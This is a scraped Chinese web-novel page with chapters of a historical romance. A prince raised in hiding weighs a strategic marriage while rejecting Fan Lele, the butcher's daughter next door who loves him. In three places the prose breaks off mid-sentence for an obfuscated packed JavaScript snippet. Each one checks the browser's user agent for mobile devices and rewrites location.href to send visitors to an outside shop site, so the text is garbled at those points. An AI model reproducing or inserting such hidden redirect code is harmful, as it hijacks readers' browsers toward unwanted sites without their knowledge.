窗外树枝上,一群小雀鸟正张着翅膀嗷嗷叫唤,试图开始自己人生中的第一飞。张开翅膀,或是乘风飞起,或是落地坠亡,一切全凭自己本事。而那个站在枝杈上指导的鸟妈妈,她只会去继续抚养那些能够飞起的鸟儿。 “三叔觉得,我真的还能……回去皇宫吗?” 宣王听他这忧愁的一叹,也是叹息。 想想这小儿这么些年,着实不易。他被放在民间教养,中途亡故的概率比那些养在宫中的皇子要大得多,皇帝早料到这一点,为防止有此可能,在宫中一直着力培养其他皇子,等着随时能够接他的太子之位。 现在朝中,三皇子和五皇子已经崭露头角,渐渐势大,两个人暗地里斗得你死我活,太子又始终久不露面,他们早对这个东宫之位虎视眈眈。那边两个哥哥在朝中拉帮结派,各自经营起了自己的党羽,而佟暄远在民间,不居庙堂,又要掩藏身份,根本无法在朝中培植自己的势力。 且不说有朝中有多少人想他死,就算他弱冠之年能够平安回宫,可他朝中无人可用,无所依傍,也依旧是寸步难行。 他接下来要走的每一步,都将格外艰难。一个不小心,便是深渊危崖,万劫不复。 “煊儿,不要灰心。”如果说他还有什么可以倚仗的,便是这个与他最为亲近的三叔。 “帝王之家,向来如此,父子之情敌不过成王败寇。你千万莫要丧气,皇兄对你依旧是最寄寓厚望的,你务必要向他证明,你就是东宫之主的不二人选。” 佟暄将头转过来,对上他鼓励的眼神。 “我知道。”他说话轻,却也很稳,无形中有着安定乾坤的气势。“今年的乡贡即将开考,我定会摘个头名,献予父皇。” “好!”宣王一拍桌,终于一扫方才的阴霾,朗声大笑,“我孩儿有志气,叔相信你!有什么需要的尽管提,能帮我一定帮。” “多谢三叔。” 宣王乐呵呵笑,看着面前这个一表人才的侄儿,小小年纪却有着君王的沉稳气度,又如此聪颖过人,是个能干大事的。他相信,自己看人的眼光不会有错。 “哦,对了。”他想起个重要的事儿来,从脚边搬上一个书箧,拍拍里面的卷轴,神秘兮兮道:“这个,也是皇兄特地嘱咐的,拿来给你挑挑。” 佟暄蹙眉,拿出其中一个卷轴,展开,立马呆住了。 那上面画着一位姑娘,绾一个云鬟髻,鬓发如云,珠钗琳琅,工笔细细描摹她的朱唇黛眉,巧笑倩兮,温婉娴雅,一看就是个端庄大方的闺阁小姐。 很快,他便明白过来父皇的意思。 “皇兄的意思是,你也到了该谈婚论嫁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459481|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪,但是现在既还不能回宫,又不可能在民间随便找个什么粗俗女子,便寻了几个京城贵女给你相看。你好好瞧瞧,若是看中了哪个就同我说,皇兄那边立马给你指婚,待你回京后便可马上成婚。” 佟暄没说话,将卷轴又细细卷回去,丢回书箧里,剩下的那几沓也不看了,“模样不重要,三叔只需告诉我,这里面的姑娘是否有清河卢氏、临汾崔氏、南鄞郑氏女,或是韩彬将军之女、王璎首辅孙女。”他一口气说了好几个世家大臣,将宣王都听懵了。 “若是没有,便也没有相看的必要了。” 宣王听他说完,露出一个满意的笑容。他就知道自己没有看错人,这小子刚刚提到的,或是绵延几世、关系深厚的世家大族,或是目下煊赫一时、权势滔天的天子重臣。任何一个,都是可以在朝中为他提供莫大助力的绝佳联姻对象。 “你小子,会选人啊。”看来他对京中的动向,颇为了解。 他淡淡勾唇,语气却是难掩隐忧:“我在朝中本就没有势力,回宫后一切都要从无开始,婚姻,是可以帮助我快速建立关系的最佳途径,当然务必要好好利用。” 哪怕对方是个丑八怪,只要家族对他帮助最大,他也能够闭着眼睛,照娶不误。 宣王对他越发有了信心,兴致勃勃地抽出一卷画轴,眉飞色舞递过去,“这个,临汾崔氏的长房嫡次女,在京都很有才名的,多少膏粱子弟的梦中情人呢,你好好看看,啊。” 佟暄接过卷轴,面上并无任何旖旎之色,“谢三叔。” 宣王重重拍了拍他肩,“记住,你叫李煊,天子血脉,当朝太子,这一点,谁也改变不了。” * 日暮,斜阳西山落,琅岳书院一片静谧。 宣王轰轰烈烈地来,又大张旗鼓地走,白日里的喧阗已过,在这个再普通不过的夜晚,琅岳书院比之往常,竟是更显寂然。 方恺夜里看书看饿了,摸去厨房找东西吃,路过学堂时,竟发现里面还亮着一豆油灯。 他走进去一看,果然又是他。 “佟暄,这么晚了还没走?” 他正在收拾用具,听见方恺的声音,头也不抬道:“有点功课没做完,马上走了。” 他今日功课完成得慢,白日里见了下三叔,日暮后又被夫子叫去。袁弘佐见着他哆哆嗦嗦地,啪地一下跪在面前,一阵扣头行礼,完了后就开始给他开小灶。哎,以后要学的内容又要增多了。 “这么晚了,山路不好走,不如你今晚就在这儿歇下,同我挤一挤。” “多谢方兄关心,我没事,一个人走走也挺好,正好散散心。” “也是,你坐这一天了,合该活动活动筋骨。那你路上当心啊。” 佟暄抬头,朝他露出一个今日份最真诚的微笑,“好。” 佟暄背上书箧,打起灯笼,慢悠悠出了书院门。 夜幕晚星,天边一抹上弦月,弯弯荡在云层中,淋淋的月光洒下。朦胧间,他看到山路上一道娇小的身影,背身坐在台阶上,双手抱膝,仰头看天,不知在想些什么。 “范乐乐。” 她闻声回头,冲他笑,黑夜里一排莹莹贝齿,亮闪闪的,“你终于出来了?走,送你回家!”她拍了拍背后的刀,刀把在月光下颤了颤。 佟暄这才注意到,她竟然大晚上别了把刀就敢出来。 这个傻姑娘。 范乐乐的心思,他自然是知晓的,可也只好一直装作不知晓。 因为他根本不可能娶她。 心里好像有什么酸涩的东西涌出来,很快地又被按下去,遂定定心神,迈步过去。 7. 哄她开心 “这么晚了,谁让你过来的?” 范乐乐唰地起身,“夜里危险,我不放心你呀。” 笨蛋。 他暗自腹诽,那不满便明晃晃写在了脸上,但范乐乐只当看不见,依旧乐颠颠道:“快走吧,佟姨给你留了猪脑核桃汤,太晚了喝不好。” 佟暄提灯在前,范乐乐一蹦一跳跟在后面,叽叽又喳喳地,说起这一日的有趣见闻,真是一刻也不能让他清净。 “范乐乐。”他叫她,声音有点儿严肃,“我最近这段日子都会在书院留到比较晚,你不用总是上山接我。” “那怎么行呢?”范乐乐一听,急了,连忙跳下几个台阶,停在比他高一级的台阶上,却还是要略微仰头看他,“你一个人走夜路,很危险的!” 佟暄看她那一本正经的担忧样儿,只觉无奈。“我一个大丈夫,有什么危险的?你个小姑娘大晚上往山上跑,那才叫危险吧?” “谁说的?”她挺起胸膛,拍了拍背后的刀,“我武艺好呀,寻常男子根本近不了我的身。哪像你,一个文弱书生,被别人一推就倒,再叫上长了这样一张脸……” 她下巴一仰,凑到他耳边:“很容易叫有些图谋不轨的男人,起了歹心呐。” 佟暄:“……” 少女轻飘飘的气息吹得他耳朵发痒,他蹙眉,侧过身子,“范乐乐,你脑子里成天都在想些什么?” “我说的都是真的!你别不当回事儿!”她杏眼一瞪,竟是愈发认真了起来。 他长吁口气,简直拿她没办法,他知道,除非绑住她的脚,否则她范乐乐要做的事,谁也拦不住。 “范乐乐,你答应我,以后晚上别往山上跑。” 灯笼幽微的烛火照着他的俊脸,眉毛紧蹙,墨黑的眼眸煞是严肃,只这一眼,又把范乐乐的气势看弱了下去。 “可是我……” “如果你非要来,我怕我会因此看不下去书。乡贡在即,我必须全神贯注,不容有误。” 咦?范乐乐小脸一歪,眼睛一眨,“我上山来又不吵你,怎么你就看不进书了?” 佟暄没理她,转头提着灯,径直下山。 范乐乐钉在台阶上想了半天,忽而一拍脑门,兴冲冲追上去,跳着拦在他面前,“你是不是担心我?!” “你说是就是吧。”佟暄用灯笼隔开她,就要下山。 她双手张开,挡住他的去路,“我要听你亲口说,你说你担心我,我就答应你,以后绝不走夜路上山了!”她眼睛亮晶晶的,月光在她眼眸里跳跃,像个欢欣的小孩儿。 佟暄皱眉,不想理会她的无理取闹,“让开。” 他有点生气了,可范乐乐最擅长的就是没有眼色、得寸进尺。“就不让。”她手叉腰,脸气鼓鼓。 佟暄懒得跟她废话,俯下身,右手单臂一捞,将她扛到了肩上。 “哎哎!哎哎哎!”她霎时天旋地转,吓得惊呼连连:“你快放我下来!” “现在让你看看,我是不是手无缚鸡之力。”没理会她的哀嚎,他径直扛着她下山。 好了,她现在信了,他不仅手能缚鸡,还能扛她范乐乐呢! 范乐乐被迫头朝下,脸都快埋到他身后的书箧里了,正晕乎乎间,却见书箧里一幅卷轴散落,露出了画面一角,墨发云鬓,是一个女子饱满的额头。 范乐乐怔愣了,鬼使神差地,伸手抽出了那幅卷轴。 佟暄感觉到了背后的动静,只当她又在捣乱了,“范乐乐,不要乱动我的书。”她竟没反应,要是平常,早该还嘴了。 察觉到不对,他连忙蹲身将她放下。微微月光下,少女手里攥着那张临汾崔氏女的画像,哭得小脸湿哒哒的,乌黑的眸子浸得湿透。 佟暄只觉得心里一皱,没来由的发慌。 “乐乐……” 他开口,觉得自己应该跟她解释,可又不知该跟她解释些什么。 范乐乐用力吸了吸鼻子,低头把卷轴卷回去,眼泪啪嗒啪嗒直往下掉,落在纸上打出一圈圈湿痕。 原来他喜欢这样的啊……端庄的大家闺秀……跟自己真的是很不一样呢。 她心里默默想着,越想就越难过,那眼泪怎么也止不住。 佟暄彻底慌了,他不会安慰人。范乐乐在他面前总是乐乐呵呵的,除了小时候那次被火惊着了,再没见她掉过眼泪。她好像总是那么快乐,那么明媚,那么无忧无虑。 可是现在一幅画,把她惹哭成这样,他不知该怎么办了。 “还给你!”范乐乐愤愤把画丢他怀里,转过身,一边抹着眼泪,哒哒地冲下山。 “范乐乐!”佟暄顾不上捡那画,提着灯笼就去追。她跑得简直疯快,撒丫子往下冲,刀鞘在身后颠啊颠,三两下就没入了黑漆漆的山影里。 佟暄情知叫不住她,生怕她一个不小心滚落了山,灵机一动,脚一扭,“摔”在了石阶上。 “啊!” 身后传来一声惊呼,紧接着就听到了书箧磕在石阶上。 范乐乐钉住了脚,站在原地犹疑了几瞬,终究还是咬牙转身,提着裙子一步三台阶,摸黑往回跨。 终于,她走回了光亮处。灯笼滚在地上,散出幽微的光,佟暄龇牙咧嘴地撑着地,一副摔得不轻的模样。 眼泪还在往下淌,她扯起袖子擦擦脸,强迫自己不去看他,蹲下身,把书箧扶正,捡起散落的书,一本一本往里放。 佟暄抓住她的手臂,“范乐乐你听我解释,不是你想的那样。” 范乐乐又拾起一本书,抖抖上面的泥,把它放回书箧里。就是不回他的话。可眼睛一眨,泪水啪地又往下掉。 佟暄看她这副模样,心疼得直抽气。 他也不知道自己为何要跟她解释,那画上分明就是自己选中的未婚妻没有错。可他也并不觉得自己说谎了,“我不认识那个姑娘,也不喜欢她!” 范乐乐将书箧咚地一摔,终于朝他瞪过去,“你不喜欢她,那你还宝贝着人家的画像!”这简直就是痴迷了,一想到他在课间、在夜里,不时就会拿出那张画像痴痴观看,她就气得肝疼。 佟暄朝天竖起两根手指,郑重道:“我向天发誓,如果她是我喜欢的人,就让我今年乡贡落第不中!” 范乐乐眼睛都睁圆了。这誓言可真够毒的,她知道他最在意的就是今年的乡贡了。 “真的吗……?” “真的,我不骗你。”他绷着脸,望着姑娘哭得红红的鼻头,眼圈儿也红红的,汪着一捧泪,像只受尽委屈的猫儿。 “骗你是小狗。”头脑发晕地,他脱口而出这句话。 “噗!”范乐乐没忍住,嗤一下笑出来,鼻子里吹出来个鼻涕泡。 她赶忙捂住鼻子,瞪大个眼,“你刚刚什么也没看到!” “嗯。”他点头,嘴角莫名其妙地翘起,“我刚刚瞎了。” 范乐乐这下彻底乐了,露出的小半张脸笑得眼睛弯弯,比挂在天边的上弦月好看,佟暄觉得。 “那……你书箧里为什么会有这幅画?”范乐乐秉持着严谨的原则,刨根问底。 “是吴松明那小子的。”他瞎话张嘴就来,面不改色心不跳。 “啊?” “这小子暗恋人家姑娘,画了好几个晚上才画出来的,觉得里面有一些景色描得不够好,配不上他家姑娘,托我带回去给他改改呢。” 范乐乐一听,立马就信了,觉得这是个顶重要的事。“那……那画呢?”她往书箧里看看,又去地上摸索摸索,没有看到画的踪影。 “刚刚忙着追你,丢地上了。算了,本来他也不满意,大不了再画一副呗。” “那不行,这是人家心上人的画,况且你答应了吴松明要改的,怎么能给弄丢了呢?”她撑着膝盖站起身,又往上跑回几个台阶,要去寻那副画。 “找到了!” 佟暄坐在石阶上,转过身去望,就见那个傻姑娘双手把画护在怀里,哒哒地蹦下台阶。月光洒在她头顶,落进了她弯弯的笑眼,她离这个世界上的忧愁是如此遥远。 范家门口。 范屠户披着外套,在家门口急得来回转悠,不时就要扯着脖子,探几眼巷子口。 这个范乐乐,真是越大越没个正形,越大越不像话! 他气得脑袋直冒烟。 今儿晚上,范乐乐说要去给隔壁佟姨帮忙打络子,他本就不乐意她过去。以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459482|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前姑娘还小,偶尔在人家里蹭蹭饭便算了,可现在都这么大了,还老舔着脸往人家家里跑,这算怎么回事?整条街坊的人都看出来了,她对佟家小子那心思,他佟家爹娘能看不出来?死活又没个表态,背地里不定怎么看自家姑娘呢。 他这心里窝着火,可姑娘又是撒娇又是捏肩,把他闹得没办法,只好放她过去了。 “快去快回!” “知道了!” 她怎么答应的来着?说好的快去快回,结果到了戌时,还是没见人影。他心急,跑到佟家去问,这才知道,姑娘早半个时辰前就从佟家走了。 好家伙,这下差点没给范屠户气背过去。不用问!肯定又是偷跑去书院找那个佟暄了! 眼看着时间越来越晚,他从一开始的气,到急,到慌,现在是彻底失了神。 月上中天,高挂夜幕。越来越多的星星跑了出来。 范屠户已经在门口徘徊了快一个时辰,他一会儿坐在门槛上,一会儿挠头跺脚,心里把最坏的情况演绎了个千百遍,到后面甚是出了一身冷汗。 他不敢想象,如果他家乐乐出了事,他一定要拿刀跟人拼命!首先就不能放过佟家那个臭小子! “爹!” 远远地,传来一声脆甜的呼唤。 他蹭一下从门槛上弹起,却见巷子口,两道身影并排出现,一高一低,随着灯笼的幽幽橘光,缓缓往这边挪动。 “你个臭丫头!看我不揍死你!”范屠户瘸着右腿快步迎上前,一边去脱脚上的草鞋。 他手臂高高抡起,手中的草鞋咻一声,直直朝范乐乐招呼过去。 范乐乐连忙就往佟暄身后躲,只听啪一下,那草鞋正好打在了佟暄腰上,牙白色的学子服,留下了一个光荣的鞋印。 佟暄:“……” 他抬头,深沉的夜色掩盖了眼底的冰冷,阴鸷的眼神毫无顾忌地锁定范屠户。 此刻的范屠户正在气头上,无视佟暄黢黑的脸色,袖子一卷,左脚一抬,又要去取另一只鞋。“范乐乐你是不是觉得你挺能啊?啊!我今天不打死你,我就不姓范!” “爹!我错了错了!下次再也不敢了!”范乐乐揪着佟暄的衣服,在他背后缩成一团,口中拼命认怂。少年的背影清瘦,但足够高挑,几乎能将她整个挡住。 “我这次不给你吃个教训,你下次还敢!下下次还敢!迟早有一天你要上天!”范屠户越说越气,怒不可遏,见闺女躲在佟暄后面,手一挥,红着脖子道:“你让开!这儿没你的事儿!” 佟暄不为所动。范屠户气呼呼,鼓起个牛眼就要瞪他,触到少年冰凉的眼神,心中又是一个觳觫,但怒气支撑着他没有退却,“我教训自家闺女,你拦在这儿干嘛?赶紧地,回去找你妈去!” 佟暄感觉身后揪着衣服的小手更用力了,只是岿然不动,“我已经同乐乐说好了,她答应了我,以后绝不会晚上上山来了。您放心。” “她答应了你?这话也能信?”他不信,不给她一顿毒打,怕她不长记性。 佟暄点头,“我们说好了,如果她坏了规矩,以后我就再也不同她说话了。” 范屠户:“……” 少年神色淡然,月光下沉静如水。范屠户竟就莫名觉得,这招或许对范乐乐还真就有用。可他瞬间竟更气了,这什么意思?把他家乐乐拿捏了?这下他所有的气,就全冲着少年而来了。 “范乐乐,你给我进屋去!” “哦。”她乖巧地应一句,立马窜进院门。 门口就剩范屠户和佟暄,对面而立。 “佟暄,叔有话问你。” “范叔请讲。”他低着头,那双令人胆寒的眼睛不再直视过来,倒显出十足十的恭谨。 “你是个聪明孩子,我想你应该早看出来了,我家乐乐她……心仪你。” 佟暄诧异了,向来波澜不兴的眼眸涟漪微动,只是呆呆看着范屠户,一下子竟不知该如何应承他的直白。 范屠户肃着张脸,犹自面不改色,“我们家乐乐也不小了,耽误不起了,不想再看你跟她不清不楚的。我今天就是来同你要一句实话” “你对我们家乐乐……到底是怎么个意思?” 8. 无逾我墙 “你对我们家乐乐,到底是怎么个意思?” 范屠户直白的逼问,堵得他说不出话。 是怎么个意思呢?他自己也不知道,可有一点他很确定:自己绝对不会娶她。 见佟暄被自己问蒙了,恍恍惚惚不知在想些什么,范屠户一对大浓眉皱得更紧了,“你心里到底怎么想的我不管,我只在乎我们家乐乐会不会受到伤害。你要是对她有意思,就趁赶紧上门提亲,可你要是对她没那个想法……趁早地跟她说清楚,好断了她的念想。” 少年垂头望地面发呆,半天不回话。 “我们家乐乐是个实心眼的,不撞南墙不回头,你要是不跟她说清楚,她能一直等你等到老!可是我们乐乐已经等不起了……”一想起知县儿子的觊觎,他心里就直泛冷,他必须赶紧给乐乐寻个亲事,只恐以后节外生枝。 “你和她能成不能成,你今儿必须给我个准话。我好给我们乐乐许个好人家去!” 所以……范乐乐要嫁人了? 手指在袖口里暗暗攥紧,他轻吸一口气,心脏都抽着疼。 可他没有忘记,自己叫李煊,皇室血脉,一个无权无势随时可能命丧黄泉的失宠太子,和崔氏女的婚事绝对不可旁生枝节。 他用力掐着手指,强迫自己清醒,眼底的翻涌隐在幽深的夜色里,“范叔,我明白了。您放心,我会去跟乐乐说清楚的。” 看他这样儿,范屠户明白了他的心意,心里又气又疼,只为他家乐乐感到不值。 “你越快越好,早点断了她的想头,不准给她留任何希冀!” * 佟暄受了顿教训,与范屠户做别后,转身进了隔壁院子。 “哥!” 一个扎着羊角小辫的身影从夜色里冲出来。 “你怎么才回来,我和爹娘都担心死了。”她揽住他的腰,十一岁的小姑娘还不到他胸口高,拼命仰头去看他。 这是佟氏夫妇的亲生女儿,佟雪。佟暄来到佟家后过了两年,她才出生,可以说是佟暄照顾着长大的,在他眼里,就跟自己的亲生妹妹无异。 佟雪从来不知自家哥哥的身世,她始终以为,佟暄就是自己血脉相连的亲哥哥,对他撒娇耍赖不在话下,总好黏着他。 佟暄摸摸妹妹的头,淡笑着道:“书院今日事儿多,耽误了点。这么晚了还不歇息?” 佟雪小嘴一撅,“等你呢,没看到你平平安安地回来,我夜里睡不踏实。” 他拍拍她的头,以示安抚,“好了,不早了,赶紧睡去吧。” 佟氏听着院里的动静,赶忙披衣相迎,手里端一碗在灶上温了许久的猪脑核桃汤。 “雪儿,快回去歇着,别搅扰你哥哥了,累了一天了,叫他安静喝会儿汤。” 佟雪应一声,自己跑回屋了。 佟氏招呼他在院子里坐下,看佟暄斯斯文文地喝着汤,脸上满是慈爱的笑。 佟氏本名陈玉珠,浔阳县本地人,嫁了个泥瓦匠后育有一女一儿,人生本就这么平平淡淡过着,要说这辈子最不寻常的事儿,就是收养了个这么龙章凤姿的儿子。 陈玉珠嫁给丈夫五年,始终无所出,二人为此发愁,便想着去慈幼局寻个孤儿来养。恰此时,县里有人牵了这个小儿过来,说是某富贵人家的私生子,想放他们这里将养。 陈玉珠本不乐意,因着这小儿已有五岁年纪,恐难以带得亲近。但丈夫说这小儿看起来气度不凡,同寻常的小孩儿很不一般,日后说不定是个有出息的,便决意将他留下。 那中间人见佟氏夫妇愿意收养,遂给了他们一大笔银子,数目直令他们咋舌,知道这小儿身生父母不简单。就在收养了佟暄两年后,陈玉珠竟有了身孕,先是诞下一女,后来又有了一个小儿子。佟氏夫妇喜不自胜,认为都是这个孩子给他们带来的福报,加之他又天资聪颖,叫佟氏夫妇很是喜爱。 这个孩子,真是不白养。 佟暄刚放下汤碗,陈玉珠便递过来一张手帕,“擦擦嘴。”说着,又去给他倒茶。 佟暄擦完嘴,接过递来的茶,在她殷切地注视下喝完。 “娘,您找我有事?” “啊……”陈玉珠知道这个儿子聪明,自己那点小心思全没能逃过他的眼睛。 “阿暄呐,乐乐今天晚上……是不是又跑去书院找你了?” 又是范乐乐的事。不过他早该猜到了。 佟暄点头称是,一句多余的话也没有。 陈玉珠重重叹口气,一道川字撇在眉心,实是忧愁极了,“今天范家爹过来咱家找人,结果女儿从咱家出去后竟就不见人了,把他给急得啊!你是没看到,当时他那眼神,恨不能把咱家屋子都给点着了……” 她越说声音越虚,挪动两瓣唇轻轻嘟囔:“不过也能理解,毕竟一个大闺女,成天围着你跑,又迟迟不给人家个说法……要是咱家雪儿是这样,我也得跟那家人置气。” 佟暄垂着头,不言语,一副谨听母亲教诲的恭顺模样。 “你呢,眼瞅着就快弱冠了,也该到了谈婚论嫁的年纪。我和你爹就商量着,乐乐那个姑娘呀我们都喜欢,模样又俊,性格又好,也是从小看着她长大的老邻居,互相都知根知底的。要是你觉得可以,我和你爹准备准备,咱就上范家去提……” “娘。”他立声打断,“我不喜欢范乐乐,这个事儿,你们就甭操心了。” 陈玉珠顿住了。不喜欢范乐乐?! 她本以为儿子是个要面子的冷性子,对人家姑娘有意思也不好意思开口,便想着和他爹主动来提这个事儿。本以为是水到渠成、皆大欢喜的好事儿,可没成想…… “你……不喜欢乐乐?” “是。” “为什么呀?”陈玉珠声音不由拔高了,“乐乐多好一姑娘?你看看这街里街坊的,哪个说起乐乐不夸她几句好?我看你跟她相处那样儿,还以为……” “娘,乐乐是很好,可是我不喜欢。”他面无表情说着,手在桌子底下紧紧攥着拳头。 “那……行吧……”陈玉珠立马又偃旗息鼓了。这个儿子她了解,平素看着温和好说话,其实最有想法,只要是他决定了的事,旁人没有发话的余地。 他虽年纪才十八,但做事沉稳有方法,书又读得多,见识比他们广,现在家里许多大小事务都得他来做决断。比起佟立冬,他更像是这个家的一家之主。 “既然这样,你得赶紧跟人乐乐说清楚,省得耽误了人家!”那么好一姑娘,陈玉珠几乎把她当半个女儿看待了。 “母亲放心,我心里自有计较。” 佟暄将陈玉珠劝慰好了,转到后厢房去歇息,路过书屋时,定住了脚步,抬头去看那堵墙头,墙边是一株玉兰树。 他的书屋和范家厨房仅一墙之隔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459483|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 犹记幼时,他常坐窗前温习功课,午后的阳光斑驳洒落,书纸上是一片斑斓世界。他虽看得入神,可也知,书屋外的院墙边,一个扎着双环髻的小脑袋正趴在墙头,往他这头张望。 他也不知道,这有什么好看的。 他将书立起,挡住脸,开始摇头晃脑地大声诵读,“将汉女兮,无逾我墙,无折我树桑。” 范乐乐听他念诗,声音清朗如珠,只觉好听极了。至于诗里说的什么,她一句也听不明白,人只是跟着摇头晃脑,没来由地傻乐。 这原是《诗经·郑风》里的一首诗,原句为“将仲子兮,无逾我墙,无折我桑树。”诗中是一个女子的口吻,担忧地劝诫中意她的情哥哥,千万不要翻她家的墙,不要折断了她家的桑树枝,生怕招来可畏的人言。 他故意地,换作男子的口吻来揶揄她。 可范乐乐哪里听得明白这里头的弯弯绕绕,见他把书挡了脸,干脆地坐上墙头,朝他窗下丢过去一颗橡子。“哎!别看了,咱们上河东摸鱼去吧!” 啧!他眉头皱起,放下书起身,啪地把窗户关上。 本以为他的无视能劝退了范乐乐,可那个丫头像是天生比别人多长了一层脸皮,又少生了一个心眼,三不五时地,就能看到那个圆圆的小脑袋露出在墙头上。 “哎!我今天在路边捡了一个小狗崽子回来,你要来我家看看吗?” 真的,佟暄从未见过如此厚颜的人。 可他深知,就算是范乐乐再厚颜,一旦他跟她开口说出拒绝,她一定,再也不会缠着他了。 夜色下,墙头隐约显出模糊的轮廓,白玉兰树在风中婆娑摇曳。 * 这两日,范乐乐忙里忙外地,格外殷勤。每日早早地起来准备晨食,铺子里都是她去看着。 范屠户在女儿的一阵糖衣炮弹之下,依旧努力绷着脸,摆出一副爱答不理的架势。但范乐乐才不会因此丧气,她惯是热脸贴人冷屁股的高手。 “爹,今儿你接着在家里好好歇息,铺子那边我去。” 范屠户冷哼一声,没搭理她,继续呼噜他碗里的粥。范乐乐依旧是捧上一张笑脸,自己揣好钥匙,挎上篮子,出了院门。 “佟暄!” 看到家门口站着的人,她惊喜地叫出声,眼睛都亮了。 佟暄在等她?她从不敢想象,佟暄有一天会等她?! 她迎上前,“你是在等我吗?” 他没回她的话,一双墨色眼睛深深看着她,还是那身牙白学子服,衣领处洗到泛松,垮垮地贴着脖子。这一身衣服,别人穿是清贫,他穿就是清贵,清清朗朗,萧疏轩举,怎么瞧怎么好看。 “范乐乐,明日就是夏至,一起去放河灯吗?” 范乐乐倒吸一口气,大眼睛看着他,一眨,又一眨。 “好呀!我有空!有空有空有空!” 范乐乐恨不得原地欢呼起跳! 这算是约会吗?她要和佟暄约会啦! 啦啦啦!今天的范乐乐,是有史以来最快乐的范乐乐了! 熙熙攘攘的浔阳街头,晨光从天穹洒下,缓缓漫上桥面,范乐乐提着裙子,大步跨上汀兰桥。她向欢乐肉铺的方向跑着,跑得气喘吁吁、脸颊通红,嘴角弯弯地翘起,红润的小脸肉嘟嘟,像只熟透的小苹果。 她的快乐散在风里,吹遍了整座浔阳县。 9. 精心赴约 琅岳书院。 佟暄今日有些魂不守舍,尽管课上夫子表扬了他的文章,还拿来作为范文给所有学子诵读学习,但他本人却并无任何喜色,面上阴沉沉的。 “你今儿是怎么了?家里遇着事儿了?” 课余休息,方恺和吴松明又围过来,方恺在对面坐下,关切地询问,吴松明手捧着一根苞米棒子,一边啃一边在佟暄脸上逡巡。 他也没瞧出他不对,佟暄不向来都是这样吗?对什么都波澜不兴的,连夫子都夸他特别沉得住气,“泰山崩于前而不色变”,颇有名相谢安之风范。 “无事。”他回,转而又觉出不好太过敷衍朋友的好意,便又道:“不是什么大事,我自己能解决。” 他在心里排演了上千遍,要如何跟范乐乐开这个口,他承认,确实因此上课走了不少神。 思及范乐乐,他想起个重要的事儿来,忙从书箧里抽出一卷画,递到吴松明面前,“这个,你看看。” 吴松明奇怪地看他两眼,嘴巴叼住玉米棒,打开画卷。 “唔!”他眼睛一亮,画卷放下,将玉米棒从嘴里拿出来,“这姑娘谁啊?” 佟暄:“你喜欢的人。” 吴松明:“……” 方恺:“???” “不是!啥意思?我喜欢她……我怎么不知道?”吴松明被他弄得莫名其妙。 佟暄抬头看他,语气不容置喙:“那现在你知道了?” “若是乐乐问起你,你就告诉她,这是你的心上人。” “哈?!”吴松明彻底搞不明白了。 佟暄跟他简单交代了一下当晚的来龙去脉,想让他帮自己把这个谎圆了,吴松明听后更不乐意了,“不是……那所以你这画到底哪儿来的呀?你怎么能把脏水往我身上泼呢?这样乐乐会误会我的!”他可不想她误会呀。 “你答应我这件事,这个月你的策论我包了。” 吴松明想也没想,“成交!” 方恺听他们谈判完毕,总算合计出来点,“佟兄,我怎么觉着……你挺在意范乐乐的呢?” 佟暄皱眉。 他怎么会有这种无聊的猜测? “我当然在意她,毕竟是从小看着长大的隔壁妹妹。” 吴松明听后,连连点头,又咬了一口玉米棒子。 方恺撇撇嘴。 死鸭子嘴可真硬。 * “笃笃笃”! “欢乐肉铺”里,范乐乐手起刀落,带血的案板上立刻分出几段均匀的梅头肉。她麻溜地用叶子一包,绑好麻绳,递过去,“六十文。” 胡大娘接过肉,看着这雪肤红唇的小姑娘,心里头呀,就高兴。“乐乐,今儿怎么舍得过来肉铺了?”她双眉一挑,打趣儿道:“你和佟家那小子……” “铛”! 胡大娘话未落地,却见范屠户从后面闪出来,一柄杀猪刀重重砍在案板上。 眼神相接,胡大娘只觉他眼里……杀气重重。 她给看了个哆嗦,料到这不是个可以谈的话题,连忙笑着打哈哈,提着肉走了。 “爹,你刚刚吓到人家了。”范乐乐觉得有必要提醒爹爹,生意不是这么做的,哪怕对方说的话再不中听,只要没有骂爹骂娘骂祖宗,都得同人笑脸相迎。 范屠户当然知道,开门做生意,和气方能生财。可胡大娘又来掰扯佟家那个臭小子,听得他心里头直来气,管不了那么多了。 “就该让她知道住嘴!以后谁再敢拿你这事儿胡说,坏了你的名声,看我不割了他的舌头!” 范乐乐粲然一笑,挽住他的胳膊,“爹,你这话说的,这怎么就是坏我名声了?” 她爹那是不知道,佟暄今儿晚上约她出去放河灯呢! 一想起这个,她整个人都是轻飘飘的,好像踩在了云团上,随时都要飞起来了。 